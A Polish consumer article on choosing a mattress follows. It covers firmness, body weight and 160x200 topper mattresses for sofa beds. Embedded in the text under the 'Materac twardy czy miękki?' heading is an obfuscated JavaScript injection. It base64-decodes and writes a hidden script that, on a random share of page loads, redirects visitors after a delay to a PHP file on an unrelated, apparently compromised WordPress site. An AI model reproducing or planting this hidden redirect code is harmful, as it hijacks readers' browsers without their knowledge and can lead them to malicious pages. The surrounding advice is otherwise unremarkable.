Czym kierować się w wyborze materaca?

Nikomu nie trzeba tłumaczyć tego, jak ważny w codziennym funkcjonowaniujest sen. Odpowiednia ilość snu pozwala organizmowi zregenerować siły i naładować baterie na nowy dzień. Jednak ilość snu nie jest najważniejsza. Równie ważna jest jego jakość. Dlatego tak istotne jest wygodne łóżko.

Materac twardy czy miękki?

materac <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>nawierzchniowy 160x200Podstawowym wyposażeniem każdego łóżka jest wygodny materac. To on odpowiada za nasz komfort każdej nocy i warto aby był dobrze dopasowany do naszych potrzeb. Nie może być za miękki, ani też za twardy. Na zbyt miękkim nasza pozycja spania będzie przypominała pozycję, w jakiej układa się na hamaku. Kręgosłup będzie nienaturalnie wygięty w łuk, co po dłuższym czasie przyczyni się do jego trwałego uszkodzenia. Natomiast zbyt twardy materac spowoduje, iż niektóre naczynia krwionośne będą nadmiernie uciskane, co spowoduje uczucie cierpnięcia i skurczów. Dlatego też podczas kupna materaca należy wziąć pod uwagę masę swojego ciała. Najlepiej jednak skorzystać z możliwości wypróbowania kilku modeli w sklepie, aby nabrać pewności, który z nich odpowiada nam najbardziej. Inaczej ma się sprawa, kiedy na co dzień śpimy na rozkładanej sofie, czy narożniku. Niełatwo wtedy o odpowiedni komfort snu. W takiej sytuacji przydać się może materac nawierzchniowy. Pozwala on na zniwelowanie wszelkich nierówności na naszym łóżku. Materac nawierzchniowy 160x200 to najbardziej popularny rozmiar z racji tego, że pasuje na większość rozkładanych wersalek. Nawet jeśli swoimi wymiarami nieco przerasta nasze spanie, lepiej zawsze kupić nieco większy rozmiar, niż ograniczać łóżko zbyt wąskim modelem. Ponadto materac nawierzchniowy 160x200 można wykorzystać także na łóżku sypialnianym, w przypadku kiedy nasz stary materac nie oferuje nam wystarczającego komfortu, jest zbyt miękki lub za twardy. Takim kilkucentymetrowej grubości materacem skutecznie podniesiemy wygodę spania.

Materacowe nakładki na łóżka czy rozkładane sofy są łatwe w utrzymaniu higieny, a dzięki elastyczności można je wygodnie zwinąć w celu przechowywania. Warto zatem korzystać z wszystkich dostępnych możliwości na poprawę komfortu spania. Każda dobrze przespana noc oznacza dobry początek dnia.